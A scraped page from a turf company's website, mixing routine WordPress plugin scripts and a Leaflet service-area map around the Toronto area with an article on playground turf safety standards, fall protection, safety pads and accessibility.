var breeze_prefetch = {"local_url":"https://www.designturf.ca","ignore_remote_prefetch":"1","ignore_list":["wp-admin","wp-login.php"]};
//# sourceURL=breeze-prefetch-js-extra
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/infinitescroll/infinite-scroll.pkgd.min.js
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/dompurify/purify.min.js
window.RLG = window.RLG || {}; window.RLG.sanitizeAllowedHosts = ["youtube.com","www.youtube.com","youtu.be","vimeo.com","player.vimeo.com"];
//# sourceURL=responsive-lightbox-sanitizer-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_cff8034e8b54db04305eb25af61fbf22.js
var rlArgs = {"script":"prettyphoto","selector":"lightbox","customEvents":"ajaxComplete","activeGalleries":true,"animationSpeed":"normal","slideshow":false,"slideshowDelay":5000,"slideshowAutoplay":false,"opacity":"0.75","showTitle":true,"allowResize":true,"allowExpand":true,"width":1080,"height":720,"separator":"\/","theme":"pp_default","horizontalPadding":20,"hideFlash":false,"wmode":"opaque","videoAutoplay":false,"modal":true,"deeplinking":true,"overlayGallery":true,"keyboardShortcuts":true,"social":false,"woocommerce_gallery":false,"ajaxurl":"https:\/\/www.designturf.ca\/wp-admin\/admin-ajax.php","nonce":"c16557ea7c","preview":false,"postId":8278,"scriptExtension":false};
//# sourceURL=responsive-lightbox-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_faa3be4a3f60fdca4a3a2fe70597adf9.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_7a48c52c849d19588b172c03df75b236.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_e9cc3cb85f6b3d4e39ed8fea92d6eab7.js
var ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
window._tpt ??= {};
window.SR7 ??= {};
_tpt.R ??= {};
_tpt.R.fonts ??= {};
_tpt.R.fonts.customFonts??= {};
SR7.devMode = false;
SR7.F ??= {};
SR7.G ??= {};
SR7.LIB ??= {};
SR7.E ??= {};
SR7.E.gAddons ??= {};
SR7.E.php ??= {};
SR7.E.nonce = '2cc725905b';
SR7.E.ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
SR7.E.resturl = 'https://www.designturf.ca/wp-json/';
SR7.E.slug_path = 'revslider/revslider.php';
SR7.E.slug = 'revslider';
SR7.E.plugin_url = 'https://www.designturf.ca/wp-content/plugins/revslider/';
SR7.E.wp_plugin_url = 'https://www.designturf.ca/wp-content/plugins/';
SR7.E.revision = '6.7.58';
SR7.E.fontBaseUrl = '//fonts.googleapis.com/css2?family=';
SR7.G.breakPoints = [1240,1024,778,480];
SR7.G.fSUVW = false;
SR7.E.modules = ['module','page','slide','layer','draw','animate','srtools','canvas','defaults','carousel','navigation','media','modifiers','migration'];
SR7.E.libs = ['WEBGL'];
SR7.E.css = ['csslp','cssbtns','cssfilters','cssnav','cssmedia'];
SR7.E.resources = {};
SR7.E.ytnc = false;
SR7.JSON ??= {};
/*! Slider Revolution 7.0 - Page Processor */
!function(){"use strict";window.SR7??={},window._tpt??={},SR7.version="Slider Revolution 6.7.40",_tpt.getMobileZoom=()=>_tpt.is_mobile?document.documentElement.clientWidth/window.innerWidth:1,_tpt.getWinDim=function(t){_tpt.screenHeightWithUrlBar??=window.innerHeight;let e=SR7.F?.modal?.visible&&SR7.M[SR7.F.module.getIdByAlias(SR7.F.modal.requested)];_tpt.scrollBar=window.innerWidth!==document.documentElement.clientWidth||e&&window.innerWidth!==e.c.module.clientWidth,_tpt.winW=_tpt.getMobileZoom()*window.innerWidth-(_tpt.scrollBar||"prepare"==t?_tpt.scrollBarW??_tpt.mesureScrollBar():0),_tpt.winH=_tpt.getMobileZoom()*window.innerHeight,_tpt.winWAll=document.documentElement.clientWidth},_tpt.getResponsiveLevel=function(t,e){return SR7.G.fSUVW?_tpt.closestGE(t,window.innerWidth):_tpt.closestGE(t,_tpt.winWAll)},_tpt.mesureScrollBar=function(){let t=document.createElement("div");return t.className="RSscrollbar-measure",t.style.width="100px",t.style.height="100px",t.style.overflow="scroll",t.style.position="absolute",t.style.top="-9999px",document.body.appendChild(t),_tpt.scrollBarW=t.offsetWidth-t.clientWidth,document.body.removeChild(t),_tpt.scrollBarW},_tpt.loadCSS=async function(t,e,s){return s?_tpt.R.fonts.required[e].status=1:(_tpt.R[e]??={},_tpt.R[e].status=1),new Promise((i,n)=>{if(_tpt.isStylesheetLoaded(t))s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i();else{const o=document.createElement("link");o.rel="stylesheet";let l="text",r="css";o["type"]=l+"/"+r,o.href=t,o.onload=()=>{s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i()},o.onerror=()=>{s?_tpt.R.fonts.required[e].status=3:_tpt.R[e].status=3,n(new Error(`Failed to load CSS: ${t}`))},document.head.appendChild(o)}})},_tpt.addContainer=function(t){const{tag:e="div",id:s,class:i,datas:n,textContent:o,iHTML:l}=t,r=document.createElement(e);if(s&&""!==s&&(r.id=s),i&&""!==i&&(r.className=i),n)for(const[t,e]of Object.entries(n))"style"==t?r.style.cssText=e:r.setAttribute(`data-${t}`,e);return o&&(r.textContent=o),l&&(r.innerHTML=l),r},_tpt.collector=function(){return{fragment:new DocumentFragment,add(t){var e=_tpt.addContainer(t);return this.fragment.appendChild(e),e},append(t){t.appendChild(this.fragment)}}},_tpt.isStylesheetLoaded=function(t){let e=t.split("?")[0];return Array.from(document.querySelectorAll('link[rel="stylesheet"], link[rel="preload"]')).some(t=>t.href.split("?")[0]===e)},_tpt.preloader={requests:new Map,preloaderTemplates:new Map,show:function(t,e){if(!e||!t)return;const{type:s,color:i}=e;if(s<0||"off"==s)return;const n=`preloader_${s}`;let o=this.preloaderTemplates.get(n);o||(o=this.build(s,i),this.preloaderTemplates.set(n,o)),this.requests.has(t)||this.requests.set(t,{count:0});const l=this.requests.get(t);clearTimeout(l.timer),l.count++,1===l.count&&(l.timer=setTimeout(()=>{l.preloaderClone=o.cloneNode(!0),l.anim&&l.anim.kill(),void 0!==_tpt.gsap?l.anim=_tpt.gsap.fromTo(l.preloaderClone,1,{opacity:0},{opacity:1}):l.preloaderClone.classList.add("sr7-fade-in"),t.appendChild(l.preloaderClone)},150))},hide:function(t){if(!this.requests.has(t))return;const e=this.requests.get(t);e.count--,e.count<0&&(e.count=0),e.anim&&e.anim.kill(),0===e.count&&(clearTimeout(e.timer),e.preloaderClone&&(e.preloaderClone.classList.remove("sr7-fade-in"),e.anim=_tpt.gsap.to(e.preloaderClone,.3,{opacity:0,onComplete:function(){e.preloaderClone.remove()}})))},state:function(t){if(!this.requests.has(t))return!1;return this.requests.get(t).count>0},build:(t,e="#ffffff",s="")=>{if(t<0||"off"===t)return null;const i=parseInt(t);if(t="prlt"+i,isNaN(i))return null;if(_tpt.loadCSS(SR7.E.plugin_url+"public/css/preloaders/t"+i+".css","preloader_"+t),isNaN(i)||i<6){const n=`background-color:${e}`,o=1===i||2==i?n:"",l=3===i||4==i?n:"",r=_tpt.collector();["dot1","dot2","bounce1","bounce2","bounce3"].forEach(t=>r.add({tag:"div",class:t,datas:{style:l}}));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`,datas:{style:o}});return r.append(d),d}{let n={};if(7===i){let t;e.startsWith("#")?(t=e.replace("#",""),t=`rgba(${parseInt(t.substring(0,2),16)}, ${parseInt(t.substring(2,4),16)}, ${parseInt(t.substring(4,6),16)}, `):e.startsWith("rgb")&&(t=e.slice(e.indexOf("(")+1,e.lastIndexOf(")")).split(",").map(t=>t.trim()),t=`rgba(${t[0]}, ${t[1]}, ${t[2]}, `),t&&(n.style=`border-top-color: ${t}0.65); border-bottom-color: ${t}0.15); border-left-color: ${t}0.65); border-right-color: ${t}0.15)`)}else 12===i&&(n.style=`background:${e}`);const o=[10,0,4,2,5,9,0,4,4,2][i-6],l=_tpt.collector(),r=l.add({tag:"div",class:"sr7-prl-inner",datas:n});Array.from({length:o}).forEach(()=>r.appendChild(l.add({tag:"span",datas:{style:`background:${e}`}})));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`});return l.append(d),d}}},SR7.preLoader={show:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.show(e||SR7.M[t].c.module,SR7.M[t]?.settings?.pLoader??{color:"#fff",type:10})},hide:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.hide(e||SR7.M[t].c.module)},state:(t,e)=>_tpt.preloader.state(e||SR7.M[t].c.module)},_tpt.prepareModuleHeight=function(t){window.SR7.M??={},window.SR7.M[t.id]??={},"ignore"==t.googleFont&&(SR7.E.ignoreGoogleFont=!0);let e=window.SR7.M[t.id];if(null==_tpt.scrollBarW&&_tpt.mesureScrollBar(),e.c??={},e.states??={},e.settings??={},e.settings.size??={},t.fixed&&(e.settings.fixed=!0),e.c.module=document.querySelector("sr7-module#"+t.id),e.c.adjuster=e.c.module.getElementsByTagName("sr7-adjuster")[0],e.c.content=e.c.module.getElementsByTagName("sr7-content")[0],"carousel"==t.type&&(e.c.carousel=e.c.content.getElementsByTagName("sr7-carousel")[0]),null==e.c.module||null==e.c.module)return;t.plType&&t.plColor&&(e.settings.pLoader={type:t.plType,color:t.plColor}),void 0===t.plType||"off"===t.plType||SR7.preLoader.state(t.id)&&SR7.preLoader.state(t.id,e.c.module)||SR7.preLoader.show(t.id,e.c.module),_tpt.winW||_tpt.getWinDim("prepare"),_tpt.getWinDim();let s=""+e.c.module.dataset?.modal;"modal"==s||"true"==s||"undefined"!==s&&"false"!==s||(e.settings.size.fullWidth=t.size.fullWidth,e.LEV??=_tpt.getResponsiveLevel(window.SR7.G.breakPoints,t.id),t.vpt=_tpt.fillArray(t.vpt,5),e.settings.vPort=t.vpt[e.LEV],void 0!==t.el&&"720"==t.el[4]&&t.gh[4]!==t.el[4]&&"960"==t.el[3]&&t.gh[3]!==t.el[3]&&"768"==t.el[2]&&t.gh[2]!==t.el[2]&&delete t.el,e.settings.size.height=null==t.el||null==t.el[e.LEV]||0==t.el[e.LEV]||"auto"==t.el[e.LEV]?_tpt.fillArray(t.gh,5,-1):_tpt.fillArray(t.el,5,-1),e.settings.size.width=_tpt.fillArray(t.gw,5,-1),e.settings.size.minHeight=_tpt.fillArray(t.mh??[0],5,-1),e.cacheSize={fullWidth:e.settings.size?.fullWidth,fullHeight:e.settings.size?.fullHeight},void 0!==t.off&&(t.off?.t&&(e.settings.size.m??={})&&(e.settings.size.m.t=t.off.t),t.off?.b&&(e.settings.size.m??={})&&(e.settings.size.m.b=t.off.b),t.off?.l&&(e.settings.size.p??={})&&(e.settings.size.p.l=t.off.l),t.off?.r&&(e.settings.size.p??={})&&(e.settings.size.p.r=t.off.r),e.offsetPrepared=!0),_tpt.updatePMHeight(t.id,t,!0))},_tpt.updatePMHeight=(t,e,s)=>{let i=SR7.M[t];var n=i.settings.size.fullWidth?_tpt.winW:i.c.module.parentNode.offsetWidth;n=0===n||isNaN(n)?_tpt.winW:n;let o=i.settings.size.width[i.LEV]||i.settings.size.width[i.LEV++]||i.settings.size.width[i.LEV--]||n,l=i.settings.size.height[i.LEV]||i.settings.size.height[i.LEV++]||i.settings.size.height[i.LEV--]||0,r=i.settings.size.minHeight[i.LEV]||i.settings.size.minHeight[i.LEV++]||i.settings.size.minHeight[i.LEV--]||0;if(l="auto"==l?0:l,l=parseInt(l),"carousel"!==e.type&&(n-=parseInt(e.onw??0)||0),i.MP=!i.settings.size.fullWidth&&n<o||_tpt.winW<o?Math.min(1,n/o):1,e.size.fullScreen||e.size.fullHeight){let t=parseInt(e.fho)||0,s=(""+e.fho).indexOf("%")>-1;e.newh=_tpt.winH-(s?_tpt.winH*t/100:t)}else e.newh=i.MP*Math.max(l,r);if(e.newh+=(parseInt(e.onh??0)||0)+(parseInt(e.carousel?.pt)||0)+(parseInt(e.carousel?.pb)||0),void 0!==e.slideduration&&(e.newh=Math.max(e.newh,parseInt(e.slideduration)/3)),e.shdw&&_tpt.buildShadow(e.id,e),i.c.adjuster.style.height=e.newh+"px",i.c.module.style.height=e.newh+"px",i.c.content.style.height=e.newh+"px",i.states.heightPrepared=!0,i.dims??={},i.dims.moduleRect=i.c.module.getBoundingClientRect(),i.c.content.style.left="-"+i.dims.moduleRect.left+"px",!i.settings.size.fullWidth)return s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)}),void _tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0);_tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0),requestAnimationFrame(function(){s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)})}),i.earlyResizerFunction||(i.earlyResizerFunction=function(){requestAnimationFrame(function(){_tpt.getWinDim(),_tpt.moduleDefaults(e.id,e),_tpt.updateSlideBg(t,!0)})},window.addEventListener("resize",i.earlyResizerFunction))},_tpt.buildShadow=function(t,e){let s=SR7.M[t];null==s.c.shadow&&(s.c.shadow=document.createElement("sr7-module-shadow"),s.c.shadow.classList.add("sr7-shdw-"+e.shdw),s.c.content.appendChild(s.c.shadow))},_tpt.bgStyle=async(t,e,s,i,n)=>{const o=SR7.M[t];if((e=e??o.settings).fixed&&!o.c.module.classList.contains("sr7-top-fixed")&&(o.c.module.classList.add("sr7-top-fixed"),o.c.module.style.position="fixed",o.c.module.style.width="100%",o.c.module.style.top="0px",o.c.module.style.left="0px",o.c.module.style.pointerEvents="none",o.c.module.style.zIndex=5e3,o.c.content.style.pointerEvents="none"),null==o.c.bgcanvas){let t=document.createElement("sr7-module-bg"),l=!1;if("string"==typeof e?.bg?.color&&e?.bg?.color.includes("{"))if(_tpt.gradient&&_tpt.gsap)e.bg.color=_tpt.gradient.convert(e.bg.color);else try{let t=JSON.parse(e.bg.color);(t?.orig||t?.string)&&(e.bg.color=JSON.parse(e.bg.color))}catch(t){return}let r="string"==typeof e?.bg?.color?e?.bg?.color||"transparent":e?.bg?.color?.string??e?.bg?.color?.orig??e?.bg?.color?.color??"transparent";if(t.style["background"+(String(r).includes("grad")?"":"Color")]=r,("transparent"!==r||n)&&(l=!0),o.offsetPrepared&&(t.style.visibility="hidden"),e?.bg?.image?.src&&(t.style.backgroundImage=`url(${e?.bg?.image.src})`,t.style.backgroundSize=""==(e.bg.image?.size??"")?"cover":e.bg.image.size,t.style.backgroundPosition=e.bg.image.position,t.style.backgroundRepeat=""==e.bg.image.repeat||null==e.bg.image.repeat?"no-repeat":e.bg.image.repeat,l=!0),!l)return;o.c.bgcanvas=t,e.size.fullWidth?t.style.width=_tpt.winW-(s&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":i&&(t.style.width=o.c.module.offsetWidth+"px"),e.sbt?.use?o.c.content.appendChild(o.c.bgcanvas):o.c.module.appendChild(o.c.bgcanvas)}o.c.bgcanvas.style.height=void 0!==e.newh?e.newh+"px":("carousel"==e.type?o.dims.module.h:o.dims.content.h)+"px",o.c.bgcanvas.style.left=!s&&e.sbt?.use||o.c.bgcanvas.closest("SR7-CONTENT")?"0px":"-"+(o?.dims?.moduleRect?.left??0)+"px"},_tpt.updateSlideBg=function(t,e){const s=SR7.M[t];let i=s.settings;s?.c?.bgcanvas&&(i.size.fullWidth?s.c.bgcanvas.style.width=_tpt.winW-(e&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":preparing&&(s.c.bgcanvas.style.width=s.c.module.offsetWidth+"px"))},_tpt.moduleDefaults=(t,e)=>{let s=SR7.M[t];null!=s&&null!=s.c&&null!=s.c.module&&(s.dims??={},s.dims.moduleRect=s.c.module.getBoundingClientRect(),s.c.content.style.left="-"+s.dims.moduleRect.left+"px",s.c.content.style.width=_tpt.winW-_tpt.scrollBarW+"px","carousel"==e.type&&(s.c.module.style.overflow="visible"),_tpt.bgStyle(t,e,window.innerWidth==_tpt.winW))},_tpt.getOffset=t=>{var e=t.getBoundingClientRect(),s=window.pageXOffset||document.documentElement.scrollLeft,i=window.pageYOffset||document.documentElement.scrollTop;return{top:e.top+i,left:e.left+s}},_tpt.fillArray=function(t,e){let s,i;t=Array.isArray(t)?t:[t];let n=Array(e),o=t.length;for(i=0;i<t.length;i++)n[i+(e-o)]=t[i],null==s&&"#"!==t[i]&&(s=t[i]);for(let t=0;t<e;t++)void 0!==n[t]&&"#"!=n[t]||(n[t]=s),s=n[t];return n},_tpt.closestGE=function(t,e){let s=Number.MAX_VALUE,i=-1;for(let n=0;n<t.length;n++)t[n]-1>=e&&t[n]-1-e<s&&(s=t[n]-1-e,i=n);return++i}}();
Playground Turf Safety Standards | Design Turf Playground & Safety Resources
Playground Turf Safety Standards How synthetic playground turf systems are designed to meet recognized safety standards for fall protection,
accessibility, and surface performance in schools, daycares, and public parks.
At a glance: A compliant playground turf system is more than just artificial grass. It’s a tested combination of base,
safety pad, turf, and infill designed to meet specific safety standards for impact attenuation and
accessibility.
What Safety Standards Apply to Playground Turf? Playground safety standards focus on reducing the risk of serious injuries from falls and ensuring that
surfaces are accessible and consistent. While requirements vary by jurisdiction, most projects reference:
Impact attenuation standards for head injury criteria (HIC) Critical fall height performance for play structures Accessibility requirements for mobility devices During design, we match the playground turf system to the required performance level for your site and
document how the system is intended to perform when installed correctly.
Fall Protection and Critical Fall Height The most important safety function of a playground surface is to reduce the severity of head injuries in the
event of a fall. This is measured using:
Head Injury Criterion (HIC): a measure of impact severityCritical fall height: the maximum fall height at which the surface meets the required
impact performance In a playground turf system, fall protection is primarily provided by the safety pad beneath
the turf. Pad thickness and density are selected to match the highest fall points in the play area.
The Role of the Safety Pad The safety pad is the engineered layer that absorbs impact and helps control HIC values. A typical system
includes:
A free‑draining, compacted base An impact‑attenuating safety pad, sized for the required fall height Playground‑specific synthetic turf Infill to stabilize fibres and support the system Pads are tested in the lab and, in some cases, on site to verify that they meet the specified performance
criteria when installed as part of the complete system.
Accessibility and Surface Performance In addition to impact performance, playground surfaces must be usable by children and caregivers with
mobility devices. A properly installed playground turf system provides:
A firm, stable surface for wheelchairs and strollers Consistent traction and slip resistance Minimal surface irregularities and trip points Special attention is given to transitions between turf and adjacent surfaces (paths, rubber, concrete) to
maintain accessibility and reduce edge hazards.
Designing a Compliant Playground Turf System Every site is different. When we design a playground turf system, we look at:
Play structure heights and layout Expected traffic levels (schoolyard vs. small daycare) Drainage conditions and base requirements Accessibility routes and transitions From there, we recommend a combination of pad thickness, turf product, and infill that is appropriate for
the project’s safety and performance goals.
Installation Quality and Ongoing Safety Even the best‑designed system depends on proper installation and maintenance to perform as intended.
Base must be properly compacted and graded for drainage Safety pad must be installed continuously with correct joints Turf seams and edges must be secure and well‑finished Regular inspections should be part of your playground safety program We recommend integrating surface checks into your existing playground inspection routine to identify any
issues early.
Documentation and Project Records For schools, municipalities, and larger organizations, clear documentation is important. A typical project
package can include:
System description (base, pad, turf, infill) Product data sheets and test reports from manufacturers Installation details and maintenance recommendations Warranty information for materials and workmanship Keeping this information on file helps support long‑term safety management and future upgrades.
document.addEventListener("DOMContentLoaded", function() {
const toggles = document.querySelectorAll(".faq-item .toggle");
toggles.forEach(function(toggle) {
toggle.addEventListener("click", function() {
const content = this.nextElementSibling;
content.style.display = (content.style.display === "block") ? "none" : "block";
});
});
});
(function(){
'use strict';
/* ═══════════════════════════════════════════
CONFIGURATION — UPDATE THESE VALUES
═══════════════════════════════════════════ */
// Design Turf HQ coordinates (update to exact address)
var HQ_LAT = 43.6532;
var HQ_LNG = -79.3832;
// Service area pins (red markers) — add/remove as needed
var SERVICE_AREAS = [
{ name: 'Mississauga', lat: 43.5890, lng: -79.6441 },
{ name: 'Brampton', lat: 43.7315, lng: -79.7624 },
{ name: 'Vaughan', lat: 43.8361, lng: -79.4983 },
{ name: 'Markham', lat: 43.8561, lng: -79.3370 },
{ name: 'Oakville', lat: 43.4675, lng: -79.6877 },
{ name: 'Richmond Hill', lat: 43.8828, lng: -79.4403 },
{ name: 'Pickering', lat: 43.8354, lng: -79.0868 },
{ name: 'Ajax', lat: 43.8509, lng: -79.0204 },
{ name: 'Newmarket', lat: 44.0592, lng: -79.4613 },
{ name: 'Milton', lat: 43.5183, lng: -79.8774 },
{ name: 'Burlington', lat: 43.3255, lng: -79.7990 },
{ name: 'Stouffville', lat: 43.9701, lng: -79.2453 },
{ name: 'Oshawa', lat: 43.8971, lng: -78.8658 },
{ name: 'Uxbridge', lat: 44.11396, lng: -79.11049 }
];
// WP REST API — Services category ID
// ► OPTION A: By category (requires categories enabled on pages)
var SERVICES_CATEGORY_ID = 0; // ← Replace with your actual category ID
// ► OPTION B: By parent page ID (uncomment below, comment out Option A)
// var SERVICES_PARENT_ID = 0; // ← Replace with your Services parent page ID
/* ═══════════════════════════════════════════
PIN FACTORY — Inline SVG markers
═══════════════════════════════════════════ */
function makePin(fillColor, label) {
var svg = '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="46" viewBox="0 0 32 46">' +
'<defs><filter id="ds' + fillColor.replace('#','') + '" x="-20%" y="-10%" width="140%" height="130%">' +
'<feDropShadow dx="0" dy="2" stdDeviation="2" flood-color="rgba(0,0,0,0.3)"/></filter></defs>' +
'<path d="M16 1C7.7 1 1 7.7 1 16c0 11.3 15 29 15 29s15-17.7 15-29C31 7.7 24.3 1 16 1z" ' +
'fill="' + fillColor + '" stroke="#ffffff" stroke-width="2" filter="url(%23ds' + fillColor.replace('#','') + ')"/>' +
'<circle cx="16" cy="15" r="6.5" fill="#ffffff" opacity="0.92"/>' +
'</svg>';
return L.divIcon({
className: '',
html: svg,
iconSize: [32, 46],
iconAnchor: [16, 46],
popupAnchor:[0, -42]
});
}
var greenPin = makePin('#00A651', 'HQ');
var redPin = makePin('#E53935', 'Area');
/* ═══════════════════════════════════════════
MAP INITIALIZATION
═══════════════════════════════════════════ */
var map = L.map('dt-leaflet-map', {
center: [HQ_LAT, HQ_LNG],
zoom: 10,
scrollWheelZoom: false,
zoomControl: true,
attributionControl: true
});
// CartoDB Voyager tiles — clean, premium aesthetic
L.tileLayer('https://{s}.basemaps.cartocdn.com/rastertiles/voyager/{z}/{x}/{y}{r}.png', {
attribution: '© <a href="https://openstreetmap.org">OpenStreetMap</a> © <a href="https://carto.com/">CARTO</a>',
subdomains: 'abcd',
maxZoom: 19
}).addTo(map);
// ── HQ Marker (GREEN) ──
L.marker([HQ_LAT, HQ_LNG], { icon: greenPin })
.addTo(map)
.bindPopup(
'<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;min-width:160px;">' +
'<div style="font-size:16px;font-weight:800;color:#00A651;margin-bottom:3px;">Design Turf</div>' +
'<div style="font-size:13px;color:#555;margin-bottom:6px;">Headquarters · Toronto, ON</div>' +
'<a href="/contact/" style="display:inline-block;padding:5px 16px;background:#00A651;color:#fff;text-decoration:none;font-size:12px;font-weight:700;border-radius:4px;">Get a Quote</a>' +
'</div>'
);
// ── Service Area Markers (RED) ──
var bounds = L.latLngBounds([[HQ_LAT, HQ_LNG]]);
SERVICE_AREAS.forEach(function(area) {
L.marker([area.lat, area.lng], { icon: redPin })
.addTo(map)
.bindPopup(
'<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;">' +
'<div style="font-size:15px;font-weight:700;color:#E53935;margin-bottom:2px;">' + area.name + '</div>' +
'<div style="font-size:12px;color:#666;">We service this area</div>' +
'</div>'
);
bounds.extend([area.lat, area.lng]);
});
map.fitBounds(bounds, { padding: [40, 40] });
/* ═══════════════════════════════════════════
SERVICE AREA SHADING — Convex Hull + Buffer
Renders behind markers automatically
═══════════════════════════════════════════ */
// Collect all points (HQ + service areas)
var allPoints = [[HQ_LAT, HQ_LNG]];
SERVICE_AREAS.forEach(function(a) { allPoints.push([a.lat, a.lng]); });
// ── Convex Hull (Gift Wrapping / Jarvis March) ──
function cross(O, A, B) {
return (A[1] - O[1]) * (B[0] - O[0]) - (A[0] - O[0]) * (B[1] - O[1]);
}
function convexHull(points) {
var pts = points.slice().sort(function(a, b) {
return a[0] === b[0] ? a[1] - b[1] : a[0] - b[0];
});
if (pts.length <= 1) return pts;
var lower = [];
for (var i = 0; i < pts.length; i++) {
while (lower.length >= 2 && cross(lower[lower.length - 2], lower[lower.length - 1], pts[i]) <= 0)
lower.pop();
lower.push(pts[i]);
}
var upper = [];
for (var j = pts.length - 1; j >= 0; j--) {
while (upper.length >= 2 && cross(upper[upper.length - 2], upper[upper.length - 1], pts[j]) <= 0)
upper.pop();
upper.push(pts[j]);
}
upper.pop();
lower.pop();
return lower.concat(upper);
}
// ── Buffer Expansion ──
// Pushes each hull vertex outward from centroid by a factor
function expandHull(hull, factor) {
var centLat = 0, centLng = 0;
hull.forEach(function(p) { centLat += p[0]; centLng += p[1]; });
centLat /= hull.length;
centLng /= hull.length;
return hull.map(function(p) {
var dLat = p[0] - centLat;
var dLng = p[1] - centLng;
return [centLat + dLat * factor, centLng + dLng * factor];
});
}
var hull = convexHull(allPoints);
// ── Create custom map panes for layer ordering ──
map.createPane('outerGlow');
map.getPane('outerGlow').style.zIndex = 350;
map.createPane('innerFill');
map.getPane('innerFill').style.zIndex = 360;
// ── LAYER 1: Outer glow ring (wider, very faint) ──
var outerHull = expandHull(hull, 1.35);
L.polygon(outerHull, {
color: '#00A651',
weight: 0,
fillColor: '#00A651',
fillOpacity: 0.04,
smoothFactor: 1.5,
pane: 'outerGlow',
interactive: false
}).addTo(map);
// ── LAYER 2: Inner coverage zone (light green fill) ──
var innerHull = expandHull(hull, 1.15);
L.polygon(innerHull, {
color: '#00A651',
weight: 2,
opacity: 0.3,
dashArray: '8 6',
fillColor: '#00C853',
fillOpacity: 0.08,
smoothFactor: 1.5,
pane: 'innerFill',
interactive: false
}).addTo(map);
// ── LAYER 3: Subtle center radial (warm core near HQ) ──
L.circle([HQ_LAT, HQ_LNG], {
radius: 12000,
color: 'transparent',
fillColor: '#00A651',
fillOpacity: 0.06,
pane: 'innerFill',
interactive: false
}).addTo(map);
/* ═══════════════════════════════════════════
MAP TEXT LABEL — "Our Service Area"
Positioned over Lake Ontario (dead zone)
═══════════════════════════════════════════ */
var labelPane = map.createPane('mapLabel');
labelPane.style.zIndex = 450;
labelPane.style.pointerEvents = 'none';
L.marker([43.30, -79.18], {
pane: 'mapLabel',
interactive: false,
keyboard: false,
icon: L.divIcon({
className: '',
iconSize: [340, 80],
iconAnchor: [170, 40],
html:
'<div style="' +
'font-family:Segoe UI,system-ui,-apple-system,sans-serif;' +
'font-size:28px;' +
'font-weight:800;' +
'color:rgba(0,166,81,0.35);' +
'text-transform:uppercase;' +
'letter-spacing:6px;' +
'text-align:center;' +
'white-space:nowrap;' +
'line-height:1;' +
'pointer-events:none;' +
'user-select:none;' +
'-webkit-user-select:none;' +
'text-shadow:0 1px 3px rgba(255,255,255,0.6);' +
'">Our Service Area</div>'
})
}).addTo(map);
// Enable scroll zoom after first click (UX-friendly)
map.once('click', function() { map.scrollWheelZoom.enable(); });
/* ═══════════════════════════════════════════
DYNAMIC SERVICE LIST — WP REST API
═══════════════════════════════════════════ */
var apiUrl;
if (SERVICES_CATEGORY_ID > 0) {
apiUrl = '/wp-json/wp/v2/pages?categories=' + SERVICES_CATEGORY_ID +
'&per_page=30&orderby=menu_order&order=asc&status=publish&_fields=id,title,link,excerpt';
} else {
renderFallbackServices();
return;
}
var grid = document.getElementById('dt-services-grid');
fetch(apiUrl)
.then(function(response) {
if (!response.ok) throw new Error('API error: ' + response.status);
return response.json();
})
.then(function(pages) {
if (!pages || !pages.length) { renderFallbackServices(); return; }
grid.innerHTML = '';
pages.forEach(function(page) {
grid.appendChild(createServiceCard(page.title.rendered, page.link));
});
})
.catch(function(err) {
console.warn('Design Turf services fetch failed:', err);
renderFallbackServices();
});
/* ═══════════════════════════════════════════
SERVICE CARD BUILDER
═══════════════════════════════════════════ */
function createServiceCard(title, url) {
var card = document.createElement('a');
card.href = url || '#';
card.setAttribute('style',
'display:flex;align-items:center;gap:12px;' +
'padding:14px 18px;' +
'background:rgba(255,255,255,0.03);' +
'border:1px solid rgba(255,255,255,0.07);' +
'border-radius:8px;' +
'color:#ffffff;text-decoration:none;' +
'font-size:14px;font-weight:600;' +
'line-height:1.4;' +
'transition:all 0.25s ease;'
);
card.onmouseenter = function() {
this.style.background = 'rgba(0,166,81,0.1)';
this.style.borderColor = 'rgba(0,166,81,0.4)';
this.style.transform = 'translateY(-1px)';
};
card.onmouseleave = function() {
this.style.background = 'rgba(255,255,255,0.03)';
this.style.borderColor = 'rgba(255,255,255,0.07)';
this.style.transform = 'translateY(0)';
};
var chevron = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#00A651" ' +
'stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" style="flex-shrink:0;">' +
'<polyline points="9 18 15 12 9 6"/></svg>';
card.innerHTML = chevron + '<span>' + title + '</span>';
return card;
}
/* ═══════════════════════════════════════════
FALLBACK: Static service list
► UPDATE these to match your actual pages
═══════════════════════════════════════════ */
function renderFallbackServices() {
var services = [
{ title: 'Artificial Grass Installation', url: '/artificial-grass-installation/' },
{ title: 'Backyard Putting Greens', url: '/backyard-putting-greens/' },
{ title: 'Pet Turf Solutions', url: '/pet-turf/' },
{ title: 'Commercial Turf Installation', url: '/commercial-turf/' },
{ title: 'Rooftop & Balcony Turf', url: '/rooftop-balcony-turf/' },
{ title: 'Playground Turf', url: '/playground-turf/' },
{ title: 'Landscape Design', url: '/landscape-design/' },
{ title: 'Turf Maintenance & Repair', url: '/turf-maintenance/' }
];
